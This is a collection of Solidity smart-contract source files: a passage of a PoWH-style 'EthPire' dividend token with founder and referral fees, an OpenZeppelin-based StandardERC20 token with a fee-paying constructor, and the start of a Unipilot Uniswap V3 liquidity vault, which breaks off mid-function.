= _balances[recipient].add(_taxedTokens); // update dividend trackers payoutsTo_[sender] -= (int256) (profitPerShare_ * amount); payoutsTo_[recipient] += (int256) (profitPerShare_ * _taxedTokens); payoutToFounders(tokensToEthereum_(_founderBonus)); // disperse dividends among holders profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / _totalSupply); // fire event emit Transfer(sender, recipient, _taxedTokens); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, msg.sender), "EthPire: must have minter role to mint"); _mint(to, amount); } function pause() public virtual { require(hasRole(PAUSER_ROLE, msg.sender), "EthPire: must have pauser role to pause"); _pause(); } function unpause() public virtual { require(hasRole(PAUSER_ROLE, msg.sender), "EthPire: must have pauser role to unpause"); _unpause(); } function addFounder(address account) public returns(bool) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "EthPire: must have admin role to add founder"); return _founderAccounts.add(account); } function removeFounder(address account) public returns(bool) { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "EthPire: must have admin role to remove founder"); return _founderAccounts.remove(account); } /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlybelievers () { require(myTokens() > 0); _; } // only people with profits modifier onlyholder() { require(myDividends(true) > 0); _; } modifier antiEarlyWhale(uint256 _amountOfEthereum){ if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){ require( // is the customer in the ambassador list? hasRole(AMBASSADOR_ROLE, msg.sender) && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[msg.sender] + _amountOfEthereum) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[msg.sender] = SafeMath.add(ambassadorAccumulatedQuota_[msg.sender], _amountOfEthereum); // execute _; } else { // in case the ether count drops low, the ambassador phase won't reinitiate onlyAmbassadors = false; _; } } /*============================== = EVENTS = ==============================*/ event TokenPurchase( address indexed customerAddress, uint256 incomingEthereum, uint256 tokensMinted, address indexed referredBy ); event TokenSell( address indexed customerAddress, uint256 tokensBurned, uint256 ethereumEarned ); event Reinvestment( address indexed customerAddress, uint256 ethereumReinvested, uint256 tokensMinted ); event Withdraw( address indexed customerAddress, uint256 ethereumWithdrawn ); /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /** * Converts all incoming Ethereum to tokens for the caller, and passes down the referral address (if any) */ function buy(address _referredBy) public payable returns(uint256) { return purchaseTokens(msg.value, _referredBy); } fallback() external payable { purchaseTokens(msg.value, NULL_ADDRESS); } /** * Converts all of caller's dividends to tokens. */ function reinvest() onlyholder() public { // fetch dividends uint256 _dividends = myDividends(false); // retrieve ref. bonus later in the code // pay out the dividends virtually payoutsTo_[msg.sender] += (int256) (_dividends * magnitude); // retrieve ref. bonus _dividends += referralBalance_[msg.sender]; referralBalance_[msg.sender] = 0; // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_dividends, NULL_ADDRESS); // fire event emit Reinvestment(msg.sender, _dividends, _tokens); } /** * Alias of sell() and withdraw(). */ function exit() public { uint256 _tokens = _balances[msg.sender]; if (_tokens > 0) { sell(_tokens); } withdraw(); } /** * Withdraws all of the callers earnings. */ function withdraw() onlyholder() public { // setup data uint256 _dividends = myDividends(false); // get ref. bonus later in the code // update dividend tracker payoutsTo_[msg.sender] += (int256) (_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[msg.sender]; referralBalance_[msg.sender] = 0; // delivery service msg.sender.transfer(_dividends); // fire event emit Withdraw(msg.sender, _dividends); } /** * Liquifies tokens to ethereum. */ function sell(uint256 _amountOfTokens) onlybelievers() public { require(_amountOfTokens <= _balances[msg.sender]); uint256 _tokens = _amountOfTokens; uint256 _ethereum = tokensToEthereum_(_tokens); uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _founderBonus = SafeMath.div(SafeMath.mul(_ethereum, founderFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, _founderBonus); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); // burn the sold tokens _totalSupply = SafeMath.sub(_totalSupply, _tokens); _balances[msg.sender] = SafeMath.sub(_balances[msg.sender], _tokens); // update dividends tracker int256 _updatedPayouts = (int256) (profitPerShare_ * _tokens + (_taxedEthereum * magnitude)); payoutsTo_[msg.sender] -= _updatedPayouts; payoutToFounders(_founderBonus); // dividing by zero is a bad idea if (_totalSupply > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / _totalSupply); } // fire event emit TokenSell(msg.sender, _tokens, _taxedEthereum); } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * administrator can manually disable the ambassador phase. */ function disableInitialStage() public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "EthPire: must have administrator role"); onlyAmbassadors = false; } function setStakingRequirement(uint256 _amountOfTokens) public { require(hasRole(DEFAULT_ADMIN_ROLE, msg.sender), "EthPire: must have administrator role"); stakingRequirement = _amountOfTokens; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current Ethereum stored in the contract * Example: totalEthereumBalance() */ function totalEthereumBalance() public view returns(uint) { return address(this).balance; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { return balanceOf(msg.sender); } /** * Retrieve the dividends owned by the caller. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { return _includeReferralBonus ? dividendsOf(msg.sender) + referralBalance_[msg.sender] : dividendsOf(msg.sender) ; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) public view returns(uint256) { return (uint256) ((int256)(profitPerShare_ * _balances[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } function referralDividendsOf(address _customerAddress) public view returns(uint256) { return referralBalance_[_customerAddress]; } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { if(_totalSupply == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends); return _taxedEthereum; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { if (_totalSupply == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _ethereum = tokensToEthereum_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_ethereum, dividendFee_), 100); uint256 _taxedEthereum = SafeMath.add(_ethereum, _dividends); return _taxedEthereum; } } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ function payoutToFounders(uint256 _bonus) internal { uint _foundersCount = _founderAccounts.length(); for (uint i = 0; i < _foundersCount; i++) { referralBalance_[_founderAccounts.at(i)] = SafeMath.add(referralBalance_[_founderAccounts.at(i)], SafeMath.div(_bonus, _foundersCount)); } } function purchaseTokens(uint256 _incomingEthereum, address _referredBy) antiEarlyWhale(_incomingEthereum) internal returns(uint256) { uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingEthereum, dividendFee_), 100); uint256 _referralBonus = SafeMath.div(SafeMath.mul(_incomingEthereum, referralFee_), 100); uint256 _founderBonus = SafeMath.div(SafeMath.mul(_incomingEthereum, founderFee_), 100); uint256 _dividends = SafeMath.sub(_undividedDividends, SafeMath.add(_referralBonus, _founderBonus)); uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _undividedDividends); uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum); uint256 _fee = _dividends * magnitude; require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens, _totalSupply) > _totalSupply)); if (_referredBy != NULL_ADDRESS && _referredBy != msg.sender && _balances[_referredBy] >= stakingRequirement) { referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } payoutToFounders(_founderBonus); if(_totalSupply > 0){ _totalSupply = SafeMath.add(_totalSupply, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (_totalSupply)); // calculate the amount of tokens the customer receives over his purchase _fee = _amountOfTokens * (_dividends * magnitude / _totalSupply); } else { // add tokens to the pool _totalSupply = _amountOfTokens; } // update circulating supply & the ledger address for the customer _balances[msg.sender] = SafeMath.add(_balances[msg.sender], _amountOfTokens); int256 _updatedPayouts = (int256) ((profitPerShare_ * _amountOfTokens) - _fee); payoutsTo_[msg.sender] += _updatedPayouts; // fire event emit TokenPurchase(msg.sender, _incomingEthereum, _amountOfTokens, _referredBy); return _amountOfTokens; } /** * Calculate Token price based on an amount of incoming ethereum * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function ethereumToTokens_(uint256 _ethereum) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2*(tokenPriceIncremental_ * 1e18)*(_ethereum * 1e18)) + (((tokenPriceIncremental_)**2)*(_totalSupply**2)) + (2*(tokenPriceIncremental_)*_tokenPriceInitial*_totalSupply) ) ), _tokenPriceInitial ) )/(tokenPriceIncremental_) )-(_totalSupply) ; return _tokensReceived; } /** * Calculate token sell value. */ function tokensToEthereum_(uint256 _tokens) internal view returns(uint256) { uint256 tokens_ = (_tokens + 1e18); uint256 _tokenSupply = (_totalSupply + 1e18); uint256 _etherReceived = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ +(tokenPriceIncremental_ * (_tokenSupply/1e18)) )-tokenPriceIncremental_ )*(tokens_ - 1e18) ),(tokenPriceIncremental_*((tokens_**2-tokens_)/1e18))/2 ) /1e18); return _etherReceived; } function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } }

True

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// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/token/ERC20/IERC20.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol pragma solidity ^0.8.0; /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/token/ERC20/ERC20.sol pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount); } return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue); } return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. * * This internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer( address sender, address recipient, uint256 amount ) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount; } _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; } _totalSupply -= amount; emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * has been transferred to `to`. * - when `from` is zero, `amount` tokens have been minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens have been burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/StandardERC20.sol pragma solidity ^0.8.0; /** * @title StandardERC20 * @dev Implementation of the StandardERC20 */ contract StandardERC20 is ERC20Decimals, ServicePayer { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ServicePayer(feeReceiver_, "StandardERC20") { require(initialBalance_ > 0, "StandardERC20: supply cannot be zero"); _mint(_msgSender(), initialBalance_); } function decimals() public view virtual override returns (uint8) { return super.decimals(); } }

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//SPDX-License-Identifier: MIT pragma solidity 0.7.6; pragma abicoder v2; import "./libraries/TransferHelper.sol"; import "./interfaces/external/IWETH9.sol"; import "./interfaces/IUnipilotVault.sol"; import "./interfaces/IUnipilotStrategy.sol"; import "./interfaces/IUnipilotFactory.sol"; import "./libraries/UniswapLiquidityManagement.sol"; import "./libraries/UniswapPoolActions.sol"; import "@openzeppelin/contracts/drafts/ERC20Permit.sol"; /// @title Unipilot Active Vault /// @author 0xMudassir & 721Orbit /// @dev Active liquidity managment contract that handles user liquidity of any Uniswap V3 pool & earn fees for them /// @dev minimalist, and gas-optimized contract that ensures user liquidity is always /// in range and earns maximum amount of fees available at current liquidity utilization /// rate. /// @dev In order to minimize IL for users contract pulls liquidity to the vault (HODL) when necessary contract UnipilotActiveVault is ERC20Permit, IUnipilotVault { using LowGasSafeMath for uint256; using UniswapPoolActions for IUniswapV3Pool; using UniswapLiquidityManagement for IUniswapV3Pool; IERC20 private token0; IERC20 private token1; uint24 private fee; int24 private tickSpacing; TicksData public ticksData; IUniswapV3Pool private pool; IUnipilotFactory private unipilotFactory; address private WETH; uint32 private _pulled = 1; uint32 private _unlocked = 1; uint32 private _initialized = 1; mapping(address => bool) private _operatorApproved; modifier onlyGovernance() { (address governance, , , , ) = getProtocolDetails(); require(msg.sender == governance); _; } modifier onlyOperator() { require(_operatorApproved[msg.sender]); _; } modifier nonReentrant() { require(_unlocked == 1); _unlocked = 2; _; _unlocked = 1; } modifier checkDeviation() { (, address strategy, , , ) = getProtocolDetails(); IUnipilotStrategy(strategy).checkDeviation(address(pool)); _; } constructor( address _pool, address _unipilotFactory, address _WETH, address governance, string memory _name, string memory _symbol ) ERC20Permit(_name) ERC20(_name, _symbol) { WETH = _WETH; unipilotFactory = IUnipilotFactory(_unipilotFactory); pool = IUniswapV3Pool(_pool); token0 = IERC20(pool.token0()); token1 = IERC20(pool.token1()); fee = pool.fee(); tickSpacing = pool.tickSpacing(); _operatorApproved[governance] = true; } receive() external payable {} fallback() external payable {} /// @dev sets initial position of the vault & can only called once by the governer function init() external onlyGovernance { require(_initialized == 1); _initialized = 2; int24 _tickSpacing = tickSpacing; int24 baseThreshold = _tickSpacing * getBaseThreshold(); (, int24 currentTick, ) = pool.getSqrtRatioX96AndTick(); int24 tickFloor = UniswapLiquidityManagement.floor( currentTick, _tickSpacing ); ticksData.baseTickLower = tickFloor - baseThreshold; ticksData.baseTickUpper = tickFloor + baseThreshold; UniswapLiquidityManagement.checkRange( ticksData.baseTickLower, ticksData.baseTickUpper ); } /// @inheritdoc IUnipilotVault function deposit( uint256 amount0Desired, uint256 amount1Desired, address recipient ) external payable override nonReentrant returns ( uint256 lpShares, uint256 amount0, uint256 amount1 ) { require(amount0Desired > 0 && amount1Desired > 0); address sender = _msgSender(); (lpShares, amount0, amount1) = pool.computeLpShares( true, amount0Desired, amount1Desired, _balance0(), _balance1(), totalSupply(), ticksData ); pay(address(token0), sender, address(this), amount0); pay(address(token1), sender, address(this), amount1); if (_pulled == 1) { pool.mintLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, amount0, amount1 ); } if (address(this).balance > 0) TransferHelper.safeTransferETH(msg.sender, address(this).balance); _mint(recipient, lpShares); emit Deposit(sender, recipient, amount0, amount1, lpShares); } /// @inheritdoc IUnipilotVault function withdraw( uint256 liquidity, address recipient, bool refundAsETH ) external override nonReentrant returns (uint256 amount0, uint256 amount1) { require(liquidity > 0); uint256 totalSupply = totalSupply(); /// @dev if liquidity has pulled in contract then calculate share accordingly if (_pulled == 1) { uint256 liquidityShare = FullMath.mulDiv( liquidity, 1e18, totalSupply ); (amount0, amount1) = pool.burnUserLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, liquidityShare, address(this) ); (uint256 fees0, uint256 fees1) = pool.collectPendingFees( address(this), ticksData.baseTickLower, ticksData.baseTickUpper ); transferFeesToIF(false, fees0, fees1); } uint256 unusedAmount0 = FullMath.mulDiv( _balance0().sub(amount0), liquidity, totalSupply ); uint256 unusedAmount1 = FullMath.mulDiv( _balance1().sub(amount1), liquidity, totalSupply ); amount0 = amount0.add(unusedAmount0); amount1 = amount1.add(unusedAmount1); if (amount0 > 0) { transferFunds(refundAsETH, recipient, address(token0), amount0); } if (amount1 > 0) { transferFunds(refundAsETH, recipient, address(token1), amount1); } _burn(msg.sender, liquidity); emit Withdraw(recipient, liquidity, amount0, amount1); if (_pulled == 1) { (uint256 c0, uint256 c1) = pool.mintLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, _balance0(), _balance1() ); emit CompoundFees(c0, c1); } } /// @inheritdoc IUnipilotVault function readjustLiquidity() external override onlyOperator checkDeviation { _pulled = 1; ReadjustVars memory a; (uint128 totalLiquidity, , ) = pool.getPositionLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper ); (a.amount0Desired, a.amount1Desired, a.fees0, a.fees1) = pool .burnLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, address(this) ); transferFeesToIF(true, a.fees0, a.fees1); int24 baseThreshold = tickSpacing * getBaseThreshold(); (, a.currentTick, ) = pool.getSqrtRatioX96AndTick(); (a.tickLower, a.tickUpper) = UniswapLiquidityManagement.getBaseTicks( a.currentTick, baseThreshold, tickSpacing ); if ( (totalLiquidity > 0) && (a.amount0Desired == 0 || a.amount1Desired == 0) ) { bool zeroForOne = a.amount0Desired > 0 ? true : false; int256 amountSpecified = zeroForOne ? int256(FullMath.mulDiv(a.amount0Desired, 50, 100)) : int256(FullMath.mulDiv(a.amount1Desired, 50, 100)); pool.swapToken(address(this), zeroForOne, amountSpecified); } else { a.amount0Desired = _balance0(); a.amount1Desired = _balance1(); a.liquidity = pool.getLiquidityForAmounts( a.amount0Desired, a.amount1Desired, a.tickLower, a.tickUpper ); (a.amount0, a.amount1) = pool.getAmountsForLiquidity( a.liquidity, a.tickLower, a.tickUpper ); a.zeroForOne = UniswapLiquidityManagement.amountsDirection( a.amount0Desired, a.amount1Desired, a.amount0, a.amount1 ); a.amountSpecified = a.zeroForOne ? int256( FullMath.mulDiv(a.amount0Desired.sub(a.amount0), 50, 100) ) : int256( FullMath.mulDiv(a.amount1Desired.sub(a.amount1), 50, 100) ); pool.swapToken(address(this), a.zeroForOne, a.amountSpecified); } a.amount0Desired = _balance0(); a.amount1Desired = _balance1(); (ticksData.baseTickLower, ticksData.baseTickUpper) = pool .getPositionTicks( a.amount0Desired, a.amount1Desired, baseThreshold, tickSpacing ); pool.mintLiquidity( ticksData.baseTickLower, ticksData.baseTickUpper, a.amount0Desired, 